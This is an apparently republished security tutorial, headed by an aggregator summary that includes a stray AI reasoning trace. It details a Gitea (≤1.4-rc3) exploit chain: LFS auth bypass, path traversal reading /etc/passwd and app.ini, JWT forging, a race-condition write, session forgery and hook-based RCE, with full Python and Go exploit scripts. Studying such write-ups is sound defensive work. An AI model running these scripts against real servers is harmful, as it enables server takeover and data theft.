从零到完全接管:链式利用路径遍历与认证绕过漏洞攻破 Gitea
嗯,用户让我帮忙总结一篇关于Gitea漏洞的文章,控制在100字以内,而且不需要特定的开头。首先,我需要理解文章的主要内容。文章详细描述了Gitea中的几个漏洞,包括路径遍历、文件读取、会话劫持和最终的命令执行。 用户可能是一个安全研究人员或者开发者,想快速了解这篇文章的核心内容。他们可能希望用中文总结,以便于快速获取信息,而不需要逐字阅读原文。 我需要确保总结涵盖关键点:漏洞类型、影响范围以及如何利用这些漏洞。同时,要保持简洁明了,不超过100字。可能还需要提到修复建议,比如升级到最新版本。 最后,检查一下语言是否流畅自然,避免使用过于技术化的术语,让读者容易理解。 </think> 文章介绍了Gitea中的多个漏洞及其利用链。通过路径遍历攻击可读取任意文件,并利用LFS机制生成访问令牌。进一步通过会话劫持获取管理员权限,并最终通过Git钩子实现远程代码执行。所有版本至1.4-rc3均受影响,建议升级至最新版本修复漏洞。 2026-4-17 10:0:0 Author: hackmag.com(查看原文) 阅读量:2 收藏

In this article, I’m going to walk through several vulnerabilities in Gitea, an open source alternative to GitHub — in other words, a service for hosting and working with Git repositories. The main advantage of this platform is how easy it is to set up and use: you can get a working instance up and running in just a couple of commands. We’ll go step by step through a chain of vulnerabilities that ultimately leads to full system compromise with arbitrary command execution.

info

Gitea is a fork of the well-known Gogs project, written in Go.

My main system is Windows, so that’s what I’ll use for the examples. To run your own Git service, you just need to download the appropriate version and run a single command.

All versions up to and including 1.4-rc3 are vulnerable. I decided to use version 1.3.3. Download it from the official site. After that, create a separate folder and move the downloaded file there. Then run the following commands from the command line.

Running Gitea on Windows
Running Gitea on Windows

When you first launch the application, it will create configuration files in the current directory. Then open http://localhost:3000 in your browser to access the initial setup screen. The setup is straightforward, and you can safely keep all the default settings. I only changed the database engine to SQLite 3, since I didn’t want to bother setting up a separate database server.

Initial Gitea setup screen
Initial Gitea setup screen

After the initial setup, all that’s left is to create an account and a test repository.

Creating a user account in Gitea
Creating a user account in Gitea

If you want to use Linux as your test system, you can spin up a vulnerable Docker container with the following command:

$ docker run -d --rm -p 3000:3000 --name=gitea vulhub/gitea:1.4.0

The remaining steps are the same as for the Windows installation.

First Step in the Chain: Path Traversal

The first vulnerability in the chain is related to bypassing authorization. To explain it, we need to talk about Git LFS. This is a special mechanism designed for storing very large files — Large File Storage (LFS). Such files are stored outside the main Git repository directory, and only index pointers to them are kept in the repository itself. During the initial Gitea setup you can specify the path to this folder (the “LFS Root Path” option); by default it’s set to data/lfs for the Windows server version and /data/gitea/lfs/ for Linux.

All the logic for handling HTTP requests to LFS is defined in the file modules/lfs/server.go. Let’s look at the POST request handler, which is used to send information about large files.

/modules/lfs/server.go

199: func PostHandler(ctx *context.Context) {

200:

201: if !setting.LFS.StartServer {

202: writeStatus(ctx, 404)

203: return

204: }

205:

206: if !MetaMatcher(ctx.Req) {

207: writeStatus(ctx, 400)

208: return

209: }

...

221: if !authenticate(ctx, repository, rv.Authorization, true) {

222: requireAuth(ctx)

223: }

Pay attention to line 221: this is where the system checks the current user’s permissions for the repository that the uploaded files will be attached to.

/modules/lfs/server.go

480: func authenticate(ctx *context.Context, repository *models.Repository, authorization string, requireWrite bool) bool {

...

491: if ctx.IsSigned {

492: accessCheck, _ := models.HasAccess(ctx.User.ID, repository, accessMode)

493: return accessCheck

494: }

...

504: if !strings.HasPrefix(authorization, "Basic ") {

505: return false

506: }

...

508: c, err := base64.StdEncoding.DecodeString(strings.TrimPrefix(authorization, "Basic "))

509: if err != nil {

510: return false

511: }

...

524: if !userModel.ValidatePassword(password) {

525: return false

526: }

...

528: accessCheck, _ := models.HasAccess(userModel.ID, repository, accessMode)

529: return accessCheck

If the user doesn’t have access, or the request was sent by an unauthenticated anonymous client, requireAuth is called. This function returns a response with HTTP status code 401.

/modules/lfs/server.go

572: func requireAuth(ctx *context.Context) {

573: ctx.Resp.Header().Set("WWW-Authenticate", "Basic realm=gitea-lfs")

574: writeStatus(ctx, 401)

575: }

However, PostHandler still continues executing after this, because there’s no return statement to exit the function, unlike the earlier checks on lines 201 and 206. As a result, the file metadata will still fail to be saved.

/modules/lfs/server.go

225: meta, err := models.NewLFSMetaObject(&models.LFSMetaObject{Oid: rv.Oid, Size: rv.Size, RepositoryID: repository.ID})

226: if err != nil {

227: writeStatus(ctx, 404)

228: return

229: }

Let’s remember this trick and take a look at the structure of the request body that stores data for a large file.

{

"Oid": "aabbccddeeff01234567890123456789012345678",

"Size": 1000000

}

size is pretty straightforward — it’s the file size. Oid, on the other hand, is the object ID (ObjectID). It’s a SHA hash: a checksum of the file’s contents plus its header.

If you’re familiar with the repository layout, you know there’s an objects directory where these objects are stored. You can read more about the structure, for example, on git-scm.com.

What matters to us right now is that this hash is part of the path that will be generated when someone tries to access the target object. In Gitea, these hashes are stored in the database, in the lfs_meta_object table.

/models/lfs.go

44: func NewLFSMetaObject(m *LFSMetaObject) (*LFSMetaObject, error) {

...

63: if _, err = sess.Insert(m); err != nil {

64: return nil, err

65: }

66:

67: return m, sess.Commit()

/models/lfs.go

09: type LFSMetaObject struct {

10: ID int64 `xorm:"pk autoincr"`

11: Oid string `xorm:"UNIQUE(s) INDEX NOT NULL"`

12: Size int64 `xorm:"NOT NULL"`

13: RepositoryID int64 `xorm:"UNIQUE(s) INDEX NOT NULL"`

14: Existing bool `xorm:"-"`

15: Created time.Time `xorm:"-"`

16: CreatedUnix int64 `xorm:"created"`

17: }

With the following query, we’ll create records indicating the presence of a large file in the repository.

POST /vh/test.git/info/lfs/objects HTTP/1.1

Host: gitea.vh:3000

Accept: application/vnd.git-lfs+json

Accept-Language: en

Content-Type: application/json

Content-Length: 151

{

"Oid": "aabbccddeeff01234567890123456789012345678",

"Size": 1000000

}

Request to create an entry for a large file in the repository
Request to create an entry for a large file in the repository

A new record has appeared in the lfs_meta_object table. To verify this, I’ll open the data/gitea.db file. As you remember, I’m using SQLite as the database.

Viewing records in the `lfs_meta_object` table
Viewing records in the `lfs_meta_object` table

Notice that the response status is 401 and the first line is {"message": "Unauthorized"}. But that didn’t stop the rest of the code from running and creating a record. That’s the bypass in action.

Authorization bypass when handling LFS requests
Authorization bypass when handling LFS requests

With the previous request we basically told the system: “Hey Gitea, in the repository test.git owned by user vh there’s a large file associated with the object named aabbcc….”

Now, at http://gitea.vh:3000/vh/test/info/lfs/objects/aabbcc... we have an interface for working with that file. Using different requests we can read, delete, and modify the file. In the general case, when this object is accessed, the system will try to locate it on disk and open it.

Let’s look at the getContentHandler handler.

/modules/lfs/server.go

134: func getContentHandler(ctx *context.Context) {

135: rv := unpack(ctx)

136:

137: meta, _ := getAuthenticatedRepoAndMeta(ctx, rv, false)

...

155: contentStore := &ContentStore{BasePath: setting.LFS.ContentPath}

156: content, err := contentStore.Get(meta, fromByte)

The LFS root directory, where all large files must be stored, as we already know, is specified during the initial system setup. It’s defined in setting.LFS.ContentPath (LFS_CONTENT_PATH in the ini file). The implementation of ContentStore is described in modules/lfs/content_store.go. Let’s look at the Get method.

/modules/lfs/content_store.go

26: func (s *ContentStore) Get(meta *models.LFSMetaObject, fromByte int64) (io.ReadCloser, error) {

27: path := filepath.Join(s.BasePath, transformKey(meta.Oid))

28:

29: f, err := os.Open(path)

30: if err != nil {

31: return nil, err

32: }

33: if fromByte > 0 {

34: _, err = f.Seek(fromByte, os.SEEK_CUR)

35: }

36: return f, err

37: }

You can trigger it with a GET request.

$ curl -I -s "http://gitea.vh:3000/vh/test/info/lfs/objects/aabbccddeeff01234567890123456789012345678/any"

On line 27, the path to the file is constructed. It uses the path to the LFS storage and the Oid value we passed in the request. But first, the hash is processed by the transformKey function.

/modules/lfs/content_store.go

100: func transformKey(key string) string {

101: if len(key) < 5 {

102: return key

103: }

104:

105: return filepath.Join(key[0:2], key[2:4], key[4:])

106: }

The expression filepath.Join(key[0:2], key[2:4], key[4:]) transforms our string into the following form:

aa/bb/ccddeeff01234567890123456789012345678

This is the relative path to the file that needs to be read. Don’t forget about BasePath—the final absolute path will look like this:

  • for Windows:
  • for Linux:

Of course, that file doesn’t exist right now, so our request will return a 404 status code.

Attempting to read a non-existent LFS object
Attempting to read a non-existent LFS object

Everything would be fine, except the Oid parameter is never validated before being written to the database. That means we can try a path traversal–style attack, escape the LFS root directory, and read any file we want. Let’s test it.

Reading Arbitrary Files

I created a test file called read.me in the directory from which I was running the Gitea server. To get the correct path, you need to take into account the oid[0:2]/oid[2:4]/oid[4:] pattern. As a result, my request to create an entry will look like this:

POST /vh/test.git/info/lfs/objects HTTP/1.1

Host: gitea.vh:3000

Accept: application/vnd.git-lfs+json

Accept-Language: en

Content-Type: application/json

Content-Length: 151

{

"Oid": "....read.me",

"Size": 1000000

}

The root directory of the large file storage is <gitea_workdir>/data/lfs/. First, we move one level up from lfs (into data), then one more level up — to the root where the read.me file is located. With the second request, we read the contents of that file.

$ curl -s "http://gitea.vh:3000/vh/test/info/lfs/objects/....read.me/any"

Arbitrary file read in Gitea on Windows
Arbitrary file read in Gitea on Windows

On Linux, let’s read the canonical /etc/passwd file.

POST /vh/test.git/info/lfs/objects HTTP/1.1

Host: gitealinux.vh:3000

Accept: application/vnd.git-lfs+json

Accept-Language: en

Content-Type: application/json

Content-Length: 151

{

"Oid": "....../../../etc/passwd",

"Size": 1000000

}

The supplied string ....../../../etc/passwd will turn into the path /data/gitea/lfs/../../../../../etc/passwd when the application attempts to read it.

$ curl -s "http://gitea.vh:3000/vh/test.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/any"

Arbitrary file read on Linux
Arbitrary file read on Linux

Notice the use of %2f instead of slashes (/). Without this, the server will return a 404 error because it will interpret the ../ constructs when processing the request URI. As a result, it will try to access the page http://gitea.vh:3000/vh/test.git/info/lfs/etc/passwd/any.

On Windows you have to use a backslash (\) and %5c, because on this OS the web server refused to accept %2f.

Also keep in mind that the repository we attach objects to must be public, meaning it has to be viewable by any unauthenticated user. Otherwise, the requests will be rejected right away by the initial access control check.

Generating Access Tokens

We’ve built a file viewer, which naturally makes you want to read the database file and grab the admin’s login and password hash. That’s doable in principle, but the database isn’t always SQLite. In fact, it’s almost never SQLite. 😉

So let’s take a different approach and read Gitea’s configuration file. On my system, it’s located at /custom/conf/app.ini.

{

"Oid": "....custom\\conf\\app.ini",

"Size": 1000000

}

$ curl -s "http://gitea.vh:3000/vh/test/info/lfs/objects/....custom%5Cconf%5Capp.ini/any"

Reading the Gitea configuration file via the vulnerability
Reading the Gitea configuration file via the vulnerability

This file contains a lot of sensitive information, including the database server username and password, if one is used.

In addition, there is an LFS_JWT_SECRET parameter, which is used to generate access tokens in JWT (JSON Web Token) format. An authenticated user is allowed to upload, edit, and delete files in the LFS interface.

The parameter is stored using URL-safe Base64, where all + and / characters are replaced with - and _, respectively.

Now let’s generate a valid token. We’ll use Python together with the PyJWT library.

$ pip install pyjwt

gentoken.py

01: import jwt

02: import time

03: import base64

04: import sys

05:

06:

07: def decode_base64(data):

08: missing_padding = len(data) % 4

09: if missing_padding != 0:

10: data += '='* (4 - missing_padding)

11: return base64.urlsafe_b64decode(data)

12:

13:

14: jwt_secret = decode_base64(sys.argv[1])

15: public_user_id = sys.argv[2]

16: public_repo_id = sys.argv[3]

17: nbf = int(time.time())-(60*60*24*1000)

18: exp = int(time.time())+(60*60*24*1000)

19:

20: token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256')

21: token = token.decode()

22:

23: print(token)

Here, public_repo_id and public_user_id are the identifiers of the public repository and its owner, while nbf and exp are the token’s start and expiration timestamps.

You can upload files using PUT requests. The logic for handling these uploads is implemented in the modules/lfs/content_store.go file.

/modules/lfs/content_store.go

40: func (s *ContentStore) Put(meta *models.LFSMetaObject, r io.Reader) error {

41: path := filepath.Join(s.BasePath, transformKey(meta.Oid))

42: tmpPath := path + ".tmp"

43:

44: dir := filepath.Dir(path)

45: if err := os.MkdirAll(dir, 0750); err != nil {

46: return err

47: }

48:

49: file, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_WRONLY|os.O_EXCL, 0640)

50: if err != nil {

51: return err

52: }

53: defer os.Remove(tmpPath)

54:

55: hash := sha256.New()

56: hw := io.MultiWriter(hash, file)

57:

58: written, err := io.Copy(hw, r)

59: if err != nil {

60: file.Close()

61: return err

62: }

63: file.Close()

64:

65: if written != meta.Size {

66: return errSizeMismatch

67: }

68:

69: shaStr := hex.EncodeToString(hash.Sum(nil))

70: if shaStr != meta.Oid {

71: return errHashMismatch

72: }

73:

74: return os.Rename(tmpPath, path)

75: }

The main steps of this algorithm are roughly as follows:

  • Build the path to a temporary file using the LFS directory path (LFS_CONTENT_PATH), the Oid parameter, and the .tmp suffix
  • Create any required directories if they don’t already exist
  • Write the request payload to the temporary file
  • If the size of the written data doesn’t match the Size parameter, return an error
  • If the SHA-256 hash of the written data doesn’t match the value passed in Oid, return an error
  • Rename the temporary file by removing the .tmp suffix

There are several issues here that prevent practical use. The first is that the fifth step of the described algorithm will always return an error. This happens because we’re trying to write data into an arbitrary file, so the Oid parameter will contain whatever we want — anything but a valid hash of the data we’re actually sending. As a result, the function will always fail, and the file will never be renamed to its normal form.

In other words, we can only write to a file with the .tmp suffix. But even that write won’t actually work, because line 53 introduces a second problem: defer os.Remove(tmpPath). In Go, the defer keyword puts a call into a deferred-call list; those calls are executed after the function they’re in finishes running. There’s a small example of how this works in the official Go tour: https://tour.golang.org/flowcontrol/12. As a result, no matter what happens, the temporary file will always be deleted.

So we need to figure out where we can use a file whose name ends with .tmp, and how to keep it around until the moment we actually use it.

Winning the Race

Let’s start with the issue of saving a temporary file. Gitea almost everywhere uses a streaming approach—whether it’s reading/writing files or handling incoming requests. We can turn this behavior to our advantage. If we send an HTTP request in a streaming fashion and, after sending some amount of data, pause the transfer, the io.Copy function will keep waiting for the remaining bytes. At that point, the file will already be on disk, and that’s exactly what we can exploit.

Let’s extend the script with a function that writes data to a file. We’ll use the requests library to send the requests.

racefile.py

01: import requests

02: import jwt

03: import time

04: import base64

05: import logging

06: import sys

07: import json

08: import socket

09: from urllib.parse import quote

10:

11:

12: logging.basicConfig(stream=sys.stdout, level=logging.INFO)

13:

14: BASE_URL = sys.argv[1]

15: JWT_SECRET = sys.argv[2]

16: USER_ID = int(sys.argv[3])

17: REPO_ID = int(sys.argv[4])

18: DATA = b'test_data_for_write_to_file'

19:

20: def generate_token():

21: def decode_base64(data):

22: missing_padding = len(data) % 4

23: if missing_padding != 0:

24: data += '='* (4 - missing_padding)

25: return base64.urlsafe_b64decode(data)

26:

27: nbf = int(time.time())-(60*60*24*1000)

28: exp = int(time.time())+(60*60*24*1000)

29:

30: token = jwt.encode(

31: {

32: 'user': USER_ID,

33: 'repo': REPO_ID,

34: 'op': 'upload',

35: 'exp': exp,

36: 'nbf': nbf

37: },

38: decode_base64(JWT_SECRET),

39: algorithm='HS256'

40: )

41: return token.decode()

42:

43: def gen_data():

44: yield DATA

45: time.sleep(60)

46: yield b''

47:

48:

49: OID = f'....{sys.argv[5]}'

50: response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={

51: 'Accept': 'application/vnd.git-lfs+json'

52: }, json={

53: "Oid": OID,

54: "Size": 100000

55: })

56: logging.info(response.text)

57:

58: response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={

59: 'Accept': 'application/vnd.git-lfs',

60: 'Content-Type': 'application/vnd.git-lfs',

61: 'Authorization': f'Bearer {generate_token()}'

62: })

63: logging.info(response.text)

Let’s try writing some data to a file using this approach.

$ python racefile.py "http://gitea.vh:3000/vh/test" "n2kBhrjIcInbbha06nwbNYlH85AWSiJC9ZDLxAajJ-U" 1 1 test.file

Race condition in Gitea
Race condition in Gitea

Because of the sleep call inside the gen_data function, we have 60 seconds to work with the temporary file. Naturally, you can increase this time if needed.

So, what we carried out was essentially a Race Condition attack.

Gaining Admin Access

Now we need to put our successful exploit to use somewhere. The first obvious idea is to drop a file into the /etc/cron.d/ directory and get RCE. However, by default the gitea process runs as the git user, which doesn’t have write permissions for that directory.

Let’s look at how sessions are handled. Session management is delegated to an external module, go-macaron/session. By default, sessions are stored as files in the data/sessions directory (/data/gitea/sessions/ on Linux). The Read function is responsible for reading files from this directory.

/go-macron/session/file.go

122: func (p *FileProvider) Read(sid string) (_ RawStore, err error) {

123: filename := p.filepath(sid)

124: if err = os.MkdirAll(path.Dir(filename), 0700); err != nil {

125: return nil, err

126: }

/go-macron/session/file.go

117: func (p *FileProvider) filepath(sid string) string {

118: return path.Join(p.rootPath, string(sid[0]), string(sid[1]), sid)

119: }

The source code tells us that the supplied sid value is used to build the path to the session file. By default, the session cookie is named i_like_gitea. Suppose we pass the value 7654107d001a1fc3. In that case, the file will be located at data/sessions/7/6/7654107d001a1fc3.

Reading a Gitea session file
Reading a Gitea session file

The file contains data serialized in the Gob format.

080: func (s *FileStore) Release() error {

...

084: data, err := EncodeGob(s.data)

085: if err != nil {

086: return err

087: }

088:

089: return ioutil.WriteFile(s.p.filepath(s.sid), data, 0600)

090: }

/session-master/utils.go

18: import (

...

21: "encoding/gob"

...

38: func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {

39: for _, v := range obj {

40: gob.Register(v)

41: }

42: buf := bytes.NewBuffer(nil)

43: err := gob.NewEncoder(buf).Encode(obj)

44: return buf.Bytes(), err

45: }

The object that needs to be serialized has the following structure:

{

"_old_uid": "1",

"uid": <user_id>,

"uname": "<username>"

}

To generate the data in the format we need, we’ll use this Go script.

gensession.go

01: package main

02:

03: import (

04: "fmt"

05: "encoding/gob"

06: "bytes"

07: "encoding/hex"

08: )

09:

10: func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {

11: for _, v := range obj {

12: gob.Register(v)

13: }

14: buf := bytes.NewBuffer(nil)

15: err := gob.NewEncoder(buf).Encode(obj)

16: return buf.Bytes(), err

17: }

18:

19: func main() {

20: var uid int64 = 1

21: obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "vh" }

22: data, err := EncodeGob(obj)

23: if err != nil {

24: fmt.Println(err)

25: }

26: edata := hex.EncodeToString(data)

27: fmt.Println(edata)

28: }

Naturally, for the user name and ID we need to specify the administrator’s details.
This script returns a string in HEX format, which should be written into the session file.

Generating the contents of a Gitea session file
Generating the contents of a Gitea session file

Now let’s add the data we want to write to our Python script and update it so the session file is created in the correct location.

sessionfile.py

01: import requests

02: import jwt

03: import time

04: import base64

05: import logging

06: import sys

07: import json

08: import socket

09: from urllib.parse import quote

10:

11:

12: logging.basicConfig(stream=sys.stdout, level=logging.INFO)

13:

14: BASE_URL = sys.argv[1]

15: JWT_SECRET = sys.argv[2]

16: USER_ID = int(sys.argv[3])

17: REPO_ID = int(sys.argv[4])

18: SESSION_NAME = sys.argv[5]

19: SESSION_DATA = bytes.fromhex('0eff81040102ff820001100110000058ff82000306737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c040002766806737472696e670c0a00085f6f6c645f75696406737472696e670c03000131')

20:

21:

22: def generate_token():

23: def decode_base64(data):

24: missing_padding = len(data) % 4

25: if missing_padding != 0:

26: data += '=' * (4 - missing_padding)

27: return base64.urlsafe_b64decode(data)

28:

29: nbf = int(time.time()) - (60 * 60 * 24 * 1000)

30: exp = int(time.time()) + (60 * 60 * 24 * 1000)

31:

32: token = jwt.encode(

33: {

34: 'user': USER_ID,

35: 'repo': REPO_ID,

36: 'op': 'upload',

37: 'exp': exp,

38: 'nbf': nbf

39: },

40: decode_base64(JWT_SECRET),

41: algorithm='HS256'

42: )

43: return token.decode()

44:

45:

46: def gen_data():

47: yield SESSION_DATA

48: time.sleep(180)

49: yield b''

50:

51:

52: OID = f'....data\\sessions\\{SESSION_NAME[0]}\\{SESSION_NAME[1]}\\{SESSION_NAME}'

53: response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={

54: 'Accept': 'application/vnd.git-lfs+json'

55: }, json={

56: "Oid": OID,

57: "Size": 100000

58: })

59: logging.info(response.text)

60:

61: response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={

62: 'Accept': 'application/vnd.git-lfs',

63: 'Content-Type': 'application/vnd.git-lfs',

64: 'Authorization': f'Bearer {generate_token()}'

65: })

66: logging.info(response.text)

67:

$ python racefile.py "http://gitea.vh:3000/vh/test" "n2kBhrjIcInbbha06nwbNYlH85AWSiJC9ZDLxAajJ-U" 1 1 fakesession

After running this script, a session file called fakesession.tmp will be created. Set it in your cookies, refresh the page, and voilà: “Welcome, administrator.”

Becoming an admin in Gitea
Becoming an admin in Gitea

The Final Link in the Chain: Executing Commands on the System

Well, we’ve got administrator access, and with those privileges we can already do all sorts of things. But what we’re primarily interested in is the ability to execute commands remotely.

This part is actually the easiest, because Gitea supports Git hooks. I wrote about them not long ago in an article called “Deadly Commit: Executing Arbitrary Code in the Git Client.” In short, they’re just regular shell scripts that are triggered under certain conditions. In the context of RCE, we’re interested in the pre-receive hook, which runs on the server before a commit is accepted into the repository.

Adding a command to the pre-receive hook
Adding a command to the pre-receive hook

After you make the changes, the icon next to this hook will turn green, indicating it’s active. I added a command that creates an empty file named owned in the /tmp directory. All you have to do is commit any changes to this repository, and the specified code will run.

Remote arbitrary code execution in Gitea
Remote arbitrary code execution in Gitea

Conclusion

Since the project is under active development, the developers have already released new builds of the distribution where all these issues have been fixed. At the time of writing, the latest version is 1.5, so you can safely update.

Vulnerabilities of these types show up in the news quite often. Now you’ve got some exploitation techniques in your toolkit, so if you ever come across something similar, you’ll be fully prepared. Happy hunting!


文章来源: https://hackmag.com/security/gitea-hack
如有侵权请联系:admin#unsafe.sh